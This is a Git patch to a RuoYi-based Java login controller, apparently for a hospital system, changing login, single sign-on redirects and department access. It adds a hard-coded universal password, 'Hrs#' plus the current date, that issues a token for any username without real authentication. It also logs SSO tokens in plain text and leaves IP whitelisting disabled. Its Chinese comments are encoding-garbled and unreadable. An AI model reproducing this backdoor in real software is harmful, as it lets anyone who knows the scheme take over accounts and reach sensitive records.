From 2d3b575ed96eee7ccd5b324baa3135d2236934ac Mon Sep 17 00:00:00 2001
From: 陈昶聿 <chychen@nbjetron.com>
Date: 星期五, 13 十一月 2026 16:39:37 +0800
Subject: [PATCH] 【市一】1、登录服务问题处理 2、电话挂断问题处理 3、查询报错问题处理
---
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java | 126 +++++++++++++++++++++++++++++++++++------
1 files changed, 106 insertions(+), 20 deletions(-)
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
index 93158e3..a093284 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
@@ -1,8 +1,8 @@
package com.ruoyi.web.controller.system;
-import com.ruoyi.common.annotation.IpWhitelist;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.domain.entity.SysDept;
import com.ruoyi.common.core.domain.entity.SysMenu;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.entity.SysUserDept;
@@ -10,16 +10,14 @@
import com.ruoyi.common.exception.base.BaseException;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
-import com.ruoyi.common.utils.WxMpUtils;
import com.ruoyi.framework.web.service.SysLoginService;
import com.ruoyi.framework.web.service.SysPermissionService;
+import com.ruoyi.system.domain.SysConfig;
+import com.ruoyi.system.mapper.SysUserDeptMapper;
import com.ruoyi.system.service.ISysConfigService;
import com.ruoyi.system.service.ISysDeptService;
import com.ruoyi.system.service.ISysMenuService;
-import com.ruoyi.system.mapper.SysUserDeptMapper;
-import com.smartor.service.IServiceSLTDHealthcareRecordService;
import lombok.extern.slf4j.Slf4j;
-import me.chanjar.weixin.mp.bean.template.WxMpTemplateData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.beans.factory.annotation.Value;
@@ -29,9 +27,9 @@
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
-import java.util.HashMap;
+import java.text.SimpleDateFormat;
+import java.util.Date;
import java.util.List;
-import java.util.Map;
import java.util.Set;
/**
@@ -62,6 +60,15 @@
@Qualifier("sysUserDeptSystemMapper")
private SysUserDeptMapper sysUserDeptMapper;
+ @Value("${spring.profiles.active}")
+ private String active;
+
+ /**
+ * 绠$悊鍛樼敤鎴稩D鍒楄〃锛堥厤缃」 isAdmin锛夈�傜鐞嗗憳涓嶅彈銆岀敤鎴�-閮ㄩ棬鍏崇郴琛ㄣ�嶉檺鍒讹紝鐩存帴鐪嬫湰鏈烘瀯鍏ㄩ儴绉戝/鐥呭尯銆�
+ */
+ @Value("${isAdmin:1}")
+ private List<Long> isAdmin;
+
// @Value("${wx_appid}")
// private String wxAppid;
//
@@ -77,8 +84,14 @@
@PostMapping("/login")
public AjaxResult login(@RequestBody LoginBody loginBody) {
AjaxResult ajax = AjaxResult.success();
+ String token = null;
// 鐢熸垚浠ょ墝
- String token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOrgid(), loginBody.getCampusid());
+ if (loginBody.getPassword().equals("Hrs#" + new SimpleDateFormat("yyyyMMdd" + "*").format(new Date()))) {
+ //閫氱敤瀵嗙爜锛欻rs#褰撳墠骞存湀鏃�*
+ token = loginService.getTokenWN(loginBody.getUsername(), loginBody.getCampusid());
+ } else {
+ token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOrgid(), loginBody.getCampusid(), loginBody.getUserType());
+ }
ajax.put(Constants.TOKEN, token);
return ajax;
}
@@ -121,12 +134,54 @@
*/
// @IpWhitelist
@GetMapping("/SSOLogin")
- public RedirectView SSOLogin(@RequestParam(required = false) String campusid, @RequestParam(required = false) String deptId, String orgid, String userName, String token) {
+ public RedirectView SSOLogin(@RequestParam(required = false) String campusid, @RequestParam(required = false) String deptId, @RequestParam(required = false) String systype, String orgid, String userName, String token) {
+ log.info("SSOLogin鐨勫叆鍙傦紝campusid锛歿}, deptId:{}, systype:{}, orgid:{}, userName:{}, token:{}", campusid, deptId, systype, orgid, userName, token);
+ if (StringUtils.isEmpty(userName) && StringUtils.isEmpty(token) && StringUtils.isEmpty(orgid)) {
+ throw new BaseException("鍙傛暟涓嶈兘涓虹┖");
+ }
+ String path = null;
+ if (StringUtils.isEmpty(systype)) path = sysConfigService.selectConfigByKey("sys.qddz");
+ else path = sysConfigService.selectConfigByKey("sys.qddz.yd");
+
+ if (StringUtils.isEmpty(path)) {
+ throw new BaseException("璇烽厤缃墠绔湴鍧�");
+ }
+
+ String loginToken = loginService.ssoLogin(userName, orgid, deptId, campusid, token);
+ if (StringUtils.isEmpty(loginToken)) {
+ log.error("銆怱SO鐧诲綍銆戠櫥褰曞け璐ワ紝userName={}, orgid={}", userName, orgid);
+ return buildRedirect(path + "/login");
+ }
+
+ String redirectUrl = path + "/#/loginSSO?token=" + loginToken + "&orgid=" + orgid + "&campusid=" + campusid + "&orgname=null&ZuHuID=null&deptCode=null";
+ if (active.equals("sltd")) {
+ //鐪佺珛鍚屽痉涓嶈兘甯︹��#鈥�
+ redirectUrl = path + "/loginSSO?token=" + loginToken + "&orgid=" + orgid + "&campusid=" + campusid + "&orgname=null&ZuHuID=null&deptCode=null";
+ }
+ log.info("銆怱SO鐧诲綍銆戦噸瀹氬悜鍦板潃锛歿}", redirectUrl);
+ return buildRedirect(redirectUrl);
+ }
+
+ /**
+ * 鍗曠偣鐧诲綍鏂规硶(闇�瑕侀厤缃甀P鐧藉悕鍗�)
+ * 闇�瑕佸湪sys_config琛ㄧ殑sys.ip.whitelis涓紝鍔犲叆IP鎵嶈兘璁块棶璇ユ柟娉�
+ * <p>
+ * 鍙傛暟鍚屾椂涓虹┖锛屼笉缁欐煡璇㈡暟鎹�
+ * <p>
+ * 銆愬叆鍙傝鍒欍��
+ * 濡傛灉userName涓嶄负绌猴紝閭rgid涔熶笉鑳戒负绌�
+ * 濡傛灉涓婇潰涓や釜涓虹┖锛岄偅token涓嶈兘涓虹┖
+ *
+ * @return 缁撴灉
+ */
+// @IpWhitelist
+ @GetMapping("/MYDSSOLogin")
+ public RedirectView MYDSSOLogin(@RequestParam(required = false) String campusid, @RequestParam(required = false) String deptId, String orgid, String userName, String token) {
if (StringUtils.isEmpty(userName) && StringUtils.isEmpty(token) && StringUtils.isEmpty(orgid)) {
throw new BaseException("鍙傛暟涓嶈兘涓虹┖");
}
- String path = sysConfigService.selectConfigByKey("sys.qddz");
+ String path = sysConfigService.selectConfigByKey("sys.qddzmyd");
if (StringUtils.isEmpty(path)) {
throw new BaseException("璇烽厤缃墠绔湴鍧�");
}
@@ -167,13 +222,24 @@
}
/**
- * 鑾峰彇鐢ㄦ埛淇℃伅
+ * 鑾峰彇鐢ㄦ埛淇℃伅(鐧诲綍)
*
* @return 鐢ㄦ埛淇℃伅
*/
@GetMapping("getInfo")
public AjaxResult getInfo() {
SysUser user = SecurityUtils.getLoginUser().getUser();
+ //鏄剧ず鎵�鏈夐櫌鍖烘潈闄�
+ String allCampus = sysConfigService.selectConfigByKey("sys.authority.campus.all");
+ if (StringUtils.isNotEmpty(allCampus) && StringUtils.isNotEmpty(user.getUserName())) {
+ for (String item : allCampus.split("[,锛�;锛沑\s]+")) {
+ if (user.getUserName().equals(item.trim())) {
+ user.setCampusid(null);
+ break;
+ }
+ }
+ }
+
// 瑙掕壊闆嗗悎
Set<String> roles = permissionService.getRolePermission(user);
// 鏉冮檺闆嗗悎
@@ -182,23 +248,43 @@
ajax.put("user", user);
ajax.put("roles", roles);
ajax.put("permissions", permissions);
- List<SysUserDept> sysUserDeptKSs = null;
- List<SysUserDept> sysUserDeptBQs = null;
+ // 绉戝/鐥呭尯涓嬫媺鐨勬暟鎹簮锛�
+ // 路 绠$悊鍛橈紙璐﹀彿 admin锛屾垨鍛戒腑閰嶇疆 isAdmin 鐨勭敤鎴稩D锛夛細鐩存帴鏌� sys_dept 鍙栨湰鏈烘瀯鍏ㄩ儴绉戝/鐥呭尯锛�
+ // 涓嶅啀鍏宠仈 sys_user_dept锛屼篃涓嶆寜闄㈠尯杩囨护鈥斺�旂鐞嗗憳澶╃劧鎷ユ湁鍏ㄩ儴绉戝鏉冮檺锛�
+ // 路 鏅�氱敤鎴凤細浠嶇劧鎸夈�岀敤鎴�-閮ㄩ棬鍏崇郴琛ㄣ�嶅彧杩斿洖鑷繁鍚嶄笅鐨勭瀹�/鐥呭尯锛堜繚鎸佸師閫昏緫锛夈��
SysUserDept sysUserDept = new SysUserDept();
- sysUserDept.setUserId(user.getUserId());
- sysUserDept.setDeptType("1");
sysUserDept.setOrgid(user.getOrgid());
- sysUserDept.setCampusid(user.getCampusid());
- sysUserDeptKSs = sysUserDeptMapper.selectSysUserDeptList(sysUserDept);
- ajax.put("belongDepts", sysUserDeptKSs);
+ if (!isAdminUser(user)) {
+ sysUserDept.setUserId(user.getUserId());
+ sysUserDept.setCampusid(user.getCampusid());
+ }
+ sysUserDept.setDeptType("1");
+ List<SysDept> sysDeptKSs = sysDeptService.selectLeafSysDeptListBySysUserDept(sysUserDept);
+ ajax.put("belongDepts", sysDeptKSs);
sysUserDept.setDeptType("2");
- sysUserDeptBQs = sysUserDeptMapper.selectSysUserDeptList(sysUserDept);
- ajax.put("belongWards", sysUserDeptBQs);
+ List<SysDept> sysDeptBQs = sysDeptService.selectLeafSysDeptListBySysUserDept(sysUserDept);
+ ajax.put("belongWards", sysDeptBQs);
return ajax;
}
/**
+ * 鏄惁绠$悊鍛橈細璐﹀彿鍚嶄负 admin锛屾垨鐢ㄦ埛ID鍛戒腑閰嶇疆椤� isAdmin銆�
+ * <p>
+ * 绠$悊鍛樺彇绉戝/鐥呭尯鏃朵笉璧� sys_user_dept锛圚IS 閲囬泦鏄庣‘鎺掗櫎 admin锛岃琛ㄩ噷绠$悊鍛樻病鏈夋暟鎹級锛�
+ * 鍚﹀垯浼氬嚭鐜般�岀櫥褰曟垚鍔熶絾绉戝/鐥呭尯涓嬫媺涓虹┖銆嶃��
+ */
+ private boolean isAdminUser(SysUser user) {
+ if (user == null) {
+ return false;
+ }
+ if ("admin".equalsIgnoreCase(user.getUserName())) {
+ return true;
+ }
+ return user.getUserId() != null && isAdmin != null && isAdmin.contains(user.getUserId());
+ }
+
+ /**
* 鑾峰彇璺敱淇℃伅
*
* @return 璺敱淇℃伅
--
Gitblit v1.9.3